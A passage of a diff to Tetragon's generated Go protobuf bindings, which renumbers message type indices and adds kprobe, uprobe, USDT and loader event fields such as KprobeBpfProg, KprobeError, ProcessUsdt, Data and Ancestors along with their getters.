} @@ -2555,7 +2682,7 @@ func (x *KprobeBpfAttr) String() string { func (*KprobeBpfAttr) ProtoMessage() {} func (x *KprobeBpfAttr) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[27] + mi := &file_tetragon_tetragon_proto_msgTypes[29] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2568,7 +2695,7 @@ func (x *KprobeBpfAttr) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeBpfAttr.ProtoReflect.Descriptor instead. func (*KprobeBpfAttr) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{27} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{29} } func (x *KprobeBpfAttr) GetProgType() string { @@ -2592,6 +2719,66 @@ func (x *KprobeBpfAttr) GetProgName() string { return "" } +type KprobeBpfProg struct { + state protoimpl.MessageState `protogen:"open.v1"` + ProgType string `protobuf:"bytes,1,opt,name=ProgType,proto3" json:"ProgType,omitempty"` + InsnCnt uint32 `protobuf:"varint,2,opt,name=InsnCnt,proto3" json:"InsnCnt,omitempty"` + ProgName string `protobuf:"bytes,3,opt,name=ProgName,proto3" json:"ProgName,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *KprobeBpfProg) Reset() { + *x = KprobeBpfProg{} + mi := &file_tetragon_tetragon_proto_msgTypes[30] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *KprobeBpfProg) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*KprobeBpfProg) ProtoMessage() {} + +func (x *KprobeBpfProg) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[30] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use KprobeBpfProg.ProtoReflect.Descriptor instead. +func (*KprobeBpfProg) Descriptor() ([]byte, []int) { + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{30} +} + +func (x *KprobeBpfProg) GetProgType() string { + if x != nil { + return x.ProgType + } + return "" +} + +func (x *KprobeBpfProg) GetInsnCnt() uint32 { + if x != nil { + return x.InsnCnt + } + return 0 +} + +func (x *KprobeBpfProg) GetProgName() string { + if x != nil { + return x.ProgName + } + return "" +} + type KprobePerfEvent struct { state protoimpl.MessageState `protogen:"open.v1"` KprobeFunc string `protobuf:"bytes,1,opt,name=KprobeFunc,proto3" json:"KprobeFunc,omitempty"` @@ -2604,7 +2791,7 @@ type KprobePerfEvent struct { func (x *KprobePerfEvent) Reset() { *x = KprobePerfEvent{} - mi := &file_tetragon_tetragon_proto_msgTypes[28] + mi := &file_tetragon_tetragon_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2616,7 +2803,7 @@ func (x *KprobePerfEvent) String() string { func (*KprobePerfEvent) ProtoMessage() {} func (x *KprobePerfEvent) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[28] + mi := &file_tetragon_tetragon_proto_msgTypes[31] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2629,7 +2816,7 @@ func (x *KprobePerfEvent) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobePerfEvent.ProtoReflect.Descriptor instead. func (*KprobePerfEvent) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{28} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{31} } func (x *KprobePerfEvent) GetKprobeFunc() string { @@ -2673,7 +2860,7 @@ type KprobeBpfMap struct { func (x *KprobeBpfMap) Reset() { *x = KprobeBpfMap{} - mi := &file_tetragon_tetragon_proto_msgTypes[29] + mi := &file_tetragon_tetragon_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2685,7 +2872,7 @@ func (x *KprobeBpfMap) String() string { func (*KprobeBpfMap) ProtoMessage() {} func (x *KprobeBpfMap) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[29] + mi := &file_tetragon_tetragon_proto_msgTypes[32] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2698,7 +2885,7 @@ func (x *KprobeBpfMap) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeBpfMap.ProtoReflect.Descriptor instead. func (*KprobeBpfMap) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{29} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{32} } func (x *KprobeBpfMap) GetMapType() string { @@ -2736,29 +2923,73 @@ func (x *KprobeBpfMap) GetMapName() string { return "" } -type SyscallId struct { +type KprobeError struct { state protoimpl.MessageState `protogen:"open.v1"` - Id uint32 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - Abi string `protobuf:"bytes,2,opt,name=abi,proto3" json:"abi,omitempty"` + Message string `protobuf:"bytes,1,opt,name=Message,proto3" json:"Message,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } -func (x *SyscallId) Reset() { - *x = SyscallId{} - mi := &file_tetragon_tetragon_proto_msgTypes[30] +func (x *KprobeError) Reset() { + *x = KprobeError{} + mi := &file_tetragon_tetragon_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } -func (x *SyscallId) String() string { +func (x *KprobeError) String() string { return protoimpl.X.MessageStringOf(x) } -func (*SyscallId) ProtoMessage() {} +func (*KprobeError) ProtoMessage() {} -func (x *SyscallId) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[30] +func (x *KprobeError) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[33] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use KprobeError.ProtoReflect.Descriptor instead. +func (*KprobeError) Descriptor() ([]byte, []int) { + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{33} +} + +func (x *KprobeError) GetMessage() string { + if x != nil { + return x.Message + } + return "" +} + +type SyscallId struct { + state protoimpl.MessageState `protogen:"open.v1"` + Id uint32 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Abi string `protobuf:"bytes,2,opt,name=abi,proto3" json:"abi,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *SyscallId) Reset() { + *x = SyscallId{} + mi := &file_tetragon_tetragon_proto_msgTypes[34] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *SyscallId) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*SyscallId) ProtoMessage() {} + +func (x *SyscallId) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[34] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2771,7 +3002,7 @@ func (x *SyscallId) ProtoReflect() protoreflect.Message { // Deprecated: Use SyscallId.ProtoReflect.Descriptor instead. func (*SyscallId) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{30} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{34} } func (x *SyscallId) GetId() uint32 { @@ -2821,6 +3052,9 @@ type KprobeArgument struct { // *KprobeArgument_BpfCmdArg // *KprobeArgument_SyscallId // *KprobeArgument_SockaddrArg + // *KprobeArgument_BpfProgArg + // *KprobeArgument_ErrorArg + // *KprobeArgument_SockaddrunArg Arg isKprobeArgument_Arg `protobuf_oneof:"arg"` Label string `protobuf:"bytes,18,opt,name=label,proto3" json:"label,omitempty"` unknownFields protoimpl.UnknownFields @@ -2829,7 +3063,7 @@ type KprobeArgument struct { func (x *KprobeArgument) Reset() { *x = KprobeArgument{} - mi := &file_tetragon_tetragon_proto_msgTypes[31] + mi := &file_tetragon_tetragon_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2841,7 +3075,7 @@ func (x *KprobeArgument) String() string { func (*KprobeArgument) ProtoMessage() {} func (x *KprobeArgument) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[31] + mi := &file_tetragon_tetragon_proto_msgTypes[35] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2854,7 +3088,7 @@ func (x *KprobeArgument) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeArgument.ProtoReflect.Descriptor instead. func (*KprobeArgument) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{31} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{35} } func (x *KprobeArgument) GetArg() isKprobeArgument_Arg { @@ -3126,6 +3360,33 @@ func (x *KprobeArgument) GetSockaddrArg() *KprobeSockaddr { return nil } +func (x *KprobeArgument) GetBpfProgArg() *KprobeBpfProg { + if x != nil { + if x, ok := x.Arg.(*KprobeArgument_BpfProgArg); ok { + return x.BpfProgArg + } + } + return nil +} + +func (x *KprobeArgument) GetErrorArg() *KprobeError { + if x != nil { + if x, ok := x.Arg.(*KprobeArgument_ErrorArg); ok { + return x.ErrorArg + } + } + return nil +} + +func (x *KprobeArgument) GetSockaddrunArg() *KprobeSockaddrUn { + if x != nil { + if x, ok := x.Arg.(*KprobeArgument_SockaddrunArg); ok { + return x.SockaddrunArg + } + } + return nil +} + func (x *KprobeArgument) GetLabel() string { if x != nil { return x.Label @@ -3254,6 +3515,18 @@ type KprobeArgument_SockaddrArg struct { SockaddrArg *KprobeSockaddr `protobuf:"bytes,30,opt,name=sockaddr_arg,json=sockaddrArg,proto3,oneof"` } +type KprobeArgument_BpfProgArg struct { + BpfProgArg *KprobeBpfProg `protobuf:"bytes,31,opt,name=bpf_prog_arg,json=bpfProgArg,proto3,oneof"` +} + +type KprobeArgument_ErrorArg struct { + ErrorArg *KprobeError `protobuf:"bytes,32,opt,name=error_arg,json=errorArg,proto3,oneof"` +} + +type KprobeArgument_SockaddrunArg struct { + SockaddrunArg *KprobeSockaddrUn `protobuf:"bytes,33,opt,name=sockaddrun_arg,json=sockaddrunArg,proto3,oneof"` +} + func (*KprobeArgument_StringArg) isKprobeArgument_Arg() {} func (*KprobeArgument_IntArg) isKprobeArgument_Arg() {} @@ -3312,6 +3585,12 @@ func (*KprobeArgument_SyscallId) isKprobeArgument_Arg() {} func (*KprobeArgument_SockaddrArg) isKprobeArgument_Arg() {} +func (*KprobeArgument_BpfProgArg) isKprobeArgument_Arg() {} + +func (*KprobeArgument_ErrorArg) isKprobeArgument_Arg() {} + +func (*KprobeArgument_SockaddrunArg) isKprobeArgument_Arg() {} + type ProcessKprobe struct { state protoimpl.MessageState `protogen:"open.v1"` // Process that triggered the kprobe. @@ -3339,14 +3618,16 @@ type ProcessKprobe struct { // User-mode stack trace to the call. UserStackTrace []*StackTraceEntry `protobuf:"bytes,12,rep,name=user_stack_trace,json=userStackTrace,proto3" json:"user_stack_trace,omitempty"` // Ancestors of the process beyond the immediate parent. - Ancestors []*Process `protobuf:"bytes,13,rep,name=ancestors,proto3" json:"ancestors,omitempty"` + Ancestors []*Process `protobuf:"bytes,13,rep,name=ancestors,proto3" json:"ancestors,omitempty"` + // Data definition of the observed kprobe. + Data []*KprobeArgument `protobuf:"bytes,14,rep,name=data,proto3" json:"data,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *ProcessKprobe) Reset() { *x = ProcessKprobe{} - mi := &file_tetragon_tetragon_proto_msgTypes[32] + mi := &file_tetragon_tetragon_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3358,7 +3639,7 @@ func (x *ProcessKprobe) String() string { func (*ProcessKprobe) ProtoMessage() {} func (x *ProcessKprobe) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[32] + mi := &file_tetragon_tetragon_proto_msgTypes[36] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3371,7 +3652,7 @@ func (x *ProcessKprobe) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessKprobe.ProtoReflect.Descriptor instead. func (*ProcessKprobe) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{32} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{36} } func (x *ProcessKprobe) GetProcess() *Process { @@ -3465,6 +3746,13 @@ func (x *ProcessKprobe) GetAncestors() []*Process { return nil } +func (x *ProcessKprobe) GetData() []*KprobeArgument { + if x != nil { + return x.Data + } + return nil +} + type ProcessTracepoint struct { state protoimpl.MessageState `protogen:"open.v1"` // Process that triggered the tracepoint. @@ -3494,7 +3782,7 @@ type ProcessTracepoint struct { func (x *ProcessTracepoint) Reset() { *x = ProcessTracepoint{} - mi := &file_tetragon_tetragon_proto_msgTypes[33] + mi := &file_tetragon_tetragon_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3506,7 +3794,7 @@ func (x *ProcessTracepoint) String() string { func (*ProcessTracepoint) ProtoMessage() {} func (x *ProcessTracepoint) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[33] + mi := &file_tetragon_tetragon_proto_msgTypes[37] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3519,7 +3807,7 @@ func (x *ProcessTracepoint) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessTracepoint.ProtoReflect.Descriptor instead. func (*ProcessTracepoint) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{33} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{37} } func (x *ProcessTracepoint) GetProcess() *Process { @@ -3611,14 +3899,18 @@ type ProcessUprobe struct { // uprobe offset (mutualy exclusive with symbol) Offset uint64 `protobuf:"varint,10,opt,name=offset,proto3" json:"offset,omitempty"` // uprobe ref_ctr_offset - RefCtrOffset uint64 `protobuf:"varint,11,opt,name=ref_ctr_offset,json=refCtrOffset,proto3" json:"ref_ctr_offset,omitempty"` + RefCtrOffset uint64 `protobuf:"varint,11,opt,name=ref_ctr_offset,json=refCtrOffset,proto3" json:"ref_ctr_offset,omitempty"` + // Action performed when the uprobe hook matched. + Action KprobeAction `protobuf:"varint,12,opt,name=action,proto3,enum=tetragon.KprobeAction" json:"action,omitempty"` + // Data definition of the observed uprobe. + Data []*KprobeArgument `protobuf:"bytes,13,rep,name=data,proto3" json:"data,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *ProcessUprobe) Reset() { *x = ProcessUprobe{} - mi := &file_tetragon_tetragon_proto_msgTypes[34] + mi := &file_tetragon_tetragon_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3630,7 +3922,7 @@ func (x *ProcessUprobe) String() string { func (*ProcessUprobe) ProtoMessage() {} func (x *ProcessUprobe) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[34] + mi := &file_tetragon_tetragon_proto_msgTypes[38] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3643,7 +3935,7 @@ func (x *ProcessUprobe) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessUprobe.ProtoReflect.Descriptor instead. func (*ProcessUprobe) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{34} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{38} } func (x *ProcessUprobe) GetProcess() *Process { @@ -3723,6 +4015,160 @@ func (x *ProcessUprobe) GetRefCtrOffset() uint64 { return 0 } +func (x *ProcessUprobe) GetAction() KprobeAction { + if x != nil { + return x.Action + } + return KprobeAction_KPROBE_ACTION_UNKNOWN +} + +func (x *ProcessUprobe) GetData() []*KprobeArgument { + if x != nil { + return x.Data + } + return nil +} + +type ProcessUsdt struct { + state protoimpl.MessageState `protogen:"open.v1"` + Process *Process `protobuf:"bytes,1,opt,name=process,proto3" json:"process,omitempty"` + Parent *Process `protobuf:"bytes,2,opt,name=parent,proto3" json:"parent,omitempty"` + Path string `protobuf:"bytes,3,opt,name=path,proto3" json:"path,omitempty"` + Provider string `protobuf:"bytes,4,opt,name=provider,proto3" json:"provider,omitempty"` + Name string `protobuf:"bytes,5,opt,name=name,proto3" json:"name,omitempty"` + // Name of the policy that created that uprobe. + PolicyName string `protobuf:"bytes,6,opt,name=policy_name,json=policyName,proto3" json:"policy_name,omitempty"` + // Short message of the Tracing Policy to inform users what is going on. + Message string `protobuf:"bytes,7,opt,name=message,proto3" json:"message,omitempty"` + // Arguments definition of the observed uprobe. + Args []*KprobeArgument `protobuf:"bytes,8,rep,name=args,proto3" json:"args,omitempty"` + // Tags of the Tracing Policy to categorize the event. + Tags []string `protobuf:"bytes,9,rep,name=tags,proto3" json:"tags,omitempty"` + // Ancestors of the process beyond the immediate parent. + Ancestors []*Process `protobuf:"bytes,10,rep,name=ancestors,proto3" json:"ancestors,omitempty"` + // Action performed when the USDT hook matched. + Action KprobeAction `protobuf:"varint,11,opt,name=action,proto3,enum=tetragon.KprobeAction" json:"action,omitempty"` + // Flags are for debugging purposes only and should not be considered a + // reliable source of information. + Flags string `protobuf:"bytes,12,opt,name=flags,proto3" json:"flags,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ProcessUsdt) Reset() { + *x = ProcessUsdt{} + mi := &file_tetragon_tetragon_proto_msgTypes[39] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ProcessUsdt) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ProcessUsdt) ProtoMessage() {} + +func (x *ProcessUsdt) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[39] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ProcessUsdt.ProtoReflect.Descriptor instead. +func (*ProcessUsdt) Descriptor() ([]byte, []int) { + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{39} +} + +func (x *ProcessUsdt) GetProcess() *Process { + if x != nil { + return x.Process + } + return nil +} + +func (x *ProcessUsdt) GetParent() *Process { + if x != nil { + return x.Parent + } + return nil +} + +func (x *ProcessUsdt) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ProcessUsdt) GetProvider() string { + if x != nil { + return x.Provider + } + return "" +} + +func (x *ProcessUsdt) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *ProcessUsdt) GetPolicyName() string { + if x != nil { + return x.PolicyName + } + return "" +} + +func (x *ProcessUsdt) GetMessage() string { + if x != nil { + return x.Message + } + return "" +} + +func (x *ProcessUsdt) GetArgs() []*KprobeArgument { + if x != nil { + return x.Args + } + return nil +} + +func (x *ProcessUsdt) GetTags() []string { + if x != nil { + return x.Tags + } + return nil +} + +func (x *ProcessUsdt) GetAncestors() []*Process { + if x != nil { + return x.Ancestors + } + return nil +} + +func (x *ProcessUsdt) GetAction() KprobeAction { + if x != nil { + return x.Action + } + return KprobeAction_KPROBE_ACTION_UNKNOWN +} + +func (x *ProcessUsdt) GetFlags() string { + if x != nil { + return x.Flags + } + return "" +} + type ProcessLsm struct { state protoimpl.MessageState `protogen:"open.v1"` Process *Process `protobuf:"bytes,1,opt,name=process,proto3" json:"process,omitempty"` @@ -3749,7 +4195,7 @@ type ProcessLsm struct { func (x *ProcessLsm) Reset() { *x = ProcessLsm{} - mi := &file_tetragon_tetragon_proto_msgTypes[35] + mi := &file_tetragon_tetragon_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3761,7 +4207,7 @@ func (x *ProcessLsm) String() string { func (*ProcessLsm) ProtoMessage() {} func (x *ProcessLsm) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[35] + mi := &file_tetragon_tetragon_proto_msgTypes[40] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3774,7 +4220,7 @@ func (x *ProcessLsm) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessLsm.ProtoReflect.Descriptor instead. func (*ProcessLsm) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{35} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{40} } func (x *ProcessLsm) GetProcess() *Process { @@ -3862,7 +4308,7 @@ type KernelModule struct { func (x *KernelModule) Reset() { *x = KernelModule{} - mi := &file_tetragon_tetragon_proto_msgTypes[36] + mi := &file_tetragon_tetragon_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3874,7 +4320,7 @@ func (x *KernelModule) String() string { func (*KernelModule) ProtoMessage() {} func (x *KernelModule) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[36] + mi := &file_tetragon_tetragon_proto_msgTypes[41] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3887,7 +4333,7 @@ func (x *KernelModule) ProtoReflect() protoreflect.Message { // Deprecated: Use KernelModule.ProtoReflect.Descriptor instead. func (*KernelModule) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{36} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{41} } func (x *KernelModule) GetName() string { @@ -3923,7 +4369,7 @@ type Test struct { func (x *Test) Reset() { *x = Test{} - mi := &file_tetragon_tetragon_proto_msgTypes[37] + mi := &file_tetragon_tetragon_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3935,7 +4381,7 @@ func (x *Test) String() string { func (*Test) ProtoMessage() {} func (x *Test) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[37] + mi := &file_tetragon_tetragon_proto_msgTypes[42] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3948,7 +4394,7 @@ func (x *Test) ProtoReflect() protoreflect.Message { // Deprecated: Use Test.ProtoReflect.Descriptor instead. func (*Test) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{37} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{42} } func (x *Test) GetArg0() uint64 { @@ -3988,7 +4434,7 @@ type GetHealthStatusRequest struct { func (x *GetHealthStatusRequest) Reset() { *x = GetHealthStatusRequest{} - mi := &file_tetragon_tetragon_proto_msgTypes[38] + mi := &file_tetragon_tetragon_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4000,7 +4446,7 @@ func (x *GetHealthStatusRequest) String() string { func (*GetHealthStatusRequest) ProtoMessage() {} func (x *GetHealthStatusRequest) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[38] + mi := &file_tetragon_tetragon_proto_msgTypes[43] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4013,7 +4459,7 @@ func (x *GetHealthStatusRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use GetHealthStatusRequest.ProtoReflect.Descriptor instead. func (*GetHealthStatusRequest) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{38} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{43} } func (x *GetHealthStatusRequest) GetEventSet() []HealthStatusType { @@ -4034,7 +4480,7 @@ type HealthStatus struct { func (x *HealthStatus) Reset() { *x = HealthStatus{} - mi := &file_tetragon_tetragon_proto_msgTypes[39] + mi := &file_tetragon_tetragon_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4046,7 +4492,7 @@ func (x *HealthStatus) String() string { func (*HealthStatus) ProtoMessage() {} func (x *HealthStatus) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[39] + mi := &file_tetragon_tetragon_proto_msgTypes[44] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4059,7 +4505,7 @@ func (x *HealthStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use HealthStatus.ProtoReflect.Descriptor instead. func (*HealthStatus) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{39} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{44} } func (x *HealthStatus) GetEvent() HealthStatusType { @@ -4092,7 +4538,7 @@ type GetHealthStatusResponse struct { func (x *GetHealthStatusResponse) Reset() { *x = GetHealthStatusResponse{} - mi := &file_tetragon_tetragon_proto_msgTypes[40] + mi := &file_tetragon_tetragon_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4104,7 +4550,7 @@ func (x *GetHealthStatusResponse) String() string { func (*GetHealthStatusResponse) ProtoMessage() {} func (x *GetHealthStatusResponse) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[40] + mi := &file_tetragon_tetragon_proto_msgTypes[45] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4117,7 +4563,7 @@ func (x *GetHealthStatusResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use GetHealthStatusResponse.ProtoReflect.Descriptor instead. func (*GetHealthStatusResponse) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{40} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{45} } func (x *GetHealthStatusResponse) GetHealthStatus() []*HealthStatus { @@ -4129,17 +4575,24 @@ func (x *GetHealthStatusResponse) GetHealthStatus() []*HealthStatus { // loader sensor event triggered for loaded binary/library type ProcessLoader struct { - state protoimpl.MessageState `protogen:"open.v1"` - Process *Process `protobuf:"bytes,1,opt,name=process,proto3" json:"process,omitempty"` - Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` - Buildid []byte `protobuf:"bytes,3,opt,name=buildid,proto3" json:"buildid,omitempty"` + state protoimpl.MessageState `protogen:"open.v1"` + // Process that triggered the loader. + Process *Process `protobuf:"bytes,1,opt,name=process,proto3" json:"process,omitempty"` + // File path that is being loaded. + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + // Buildid of the file that is being loaded. + Buildid []byte `protobuf:"bytes,3,opt,name=buildid,proto3" json:"buildid,omitempty"` + // Immediate parent of the process. + Parent *Process `protobuf:"bytes,4,opt,name=parent,proto3" json:"parent,omitempty"` + // Ancestors of the process beyond the immediate parent. + Ancestors []*Process `protobuf:"bytes,5,rep,name=ancestors,proto3" json:"ancestors,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *ProcessLoader) Reset() { *x = ProcessLoader{} - mi := &file_tetragon_tetragon_proto_msgTypes[41] + mi := &file_tetragon_tetragon_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4151,7 +4604,7 @@ func (x *ProcessLoader) String() string { func (*ProcessLoader) ProtoMessage() {} func (x *ProcessLoader) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[41] + mi := &file_tetragon_tetragon_proto_msgTypes[46] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4164,7 +4617,7 @@ func (x *ProcessLoader) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessLoader.ProtoReflect.Descriptor instead. func (*ProcessLoader) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{41} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{46} } func (x *ProcessLoader) GetProcess() *Process { @@ -4188,6 +4641,20 @@ func (x *ProcessLoader) GetBuildid() []byte { return nil } +func (x *ProcessLoader) GetParent() *Process { + if x != nil { + return x.Parent + } + return nil +} + +func (x *ProcessLoader) GetAncestors() []*Process { + if x != nil { + return x.Ancestors + } + return nil +} + // RuntimeHookRequest synchronously propagates information to the agent about run-time state. type 